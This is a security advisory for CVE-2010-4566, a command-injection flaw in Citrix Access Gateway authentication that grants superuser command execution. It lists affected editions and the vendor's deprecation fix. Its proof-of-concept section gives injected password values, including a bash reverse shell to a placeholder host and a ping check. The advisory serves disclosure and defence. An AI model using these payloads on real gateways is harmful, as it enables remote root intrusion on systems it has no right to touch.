Citrix Access Gateway User Credentials Command Injection Vulnerability

BID:45402

Info

Citrix Access Gateway User Credentials Command Injection Vulnerability

Bugtraq ID: 45402
Class: Unknown
CVE: CVE-2010-4566
Remote: Yes
Local: No
Published: Dec 15 2010 12:00AM
Updated: Mar 19 2015 09:25AM
Credit: George D. Gal <ggal {at} vsecurity.com>
Vulnerable: Citrix Access Gateway VPX 4.6
Citrix Access Gateway Standard Edition 4.6
Citrix Access Gateway Standard Edition 4.5
Citrix Access Gateway Enterprise Edition 9.2
Citrix Access Gateway Enterprise Edition 9.1
Citrix Access Gateway Enterprise Edition 9.0
Citrix Access Gateway Enterprise Edition 8.1
Citrix Access Gateway Enterprise Edition 8.0
Citrix Access Gateway Advanced Edition 4.6
Citrix Access Gateway Advanced Edition 4.5
Not Vulnerable:

Discussion

Citrix Access Gateway User Credentials Command Injection Vulnerability

Citrix Access Gateway is prone to a command-injection vulnerability.

An attacker can exploit this vulnerability to inject and execute arbitrary commands with superuser privileges.

The following products are vulnerable:

Access Gateway 4.5 Advanced Edition
Access Gateway 4.5 Standard Edition
Access Gateway 4.6 Advanced Edition
Access Gateway 4.6 Standard Edition
Access Gateway 8.0 Enterprise Edition
Access Gateway 8.1 Enterprise Edition
Access Gateway 9.0 Enterprise Edition
Access Gateway 9.1 Enterprise Edition
Access Gateway 9.2 Enterprise Edition
Access Gateway VPX 4.6

Exploit / POC

Citrix Access Gateway User Credentials Command Injection Vulnerability

The following example password values are available:

| bash -i &gt;&amp; /dev/tcp/example.com/&lt;&lt;PORT&gt;&gt; 0&gt;&amp;1 &amp;
| ping -c 10 example.com

The following exploit is available:

Solution / Fix

Citrix Access Gateway User Credentials Command Injection Vulnerability

Solution:
The use of the vulnerable authentication methods has been deprecated in the Access Gateway product line, and support for these methods has also been removed from the latest versions of these products.

Citrix recommends that affected customers review their use of the deprecated components, and migrate to another authentication method. For more information please see the referenced advisory.

References

Citrix Access Gateway User Credentials Command Injection Vulnerability

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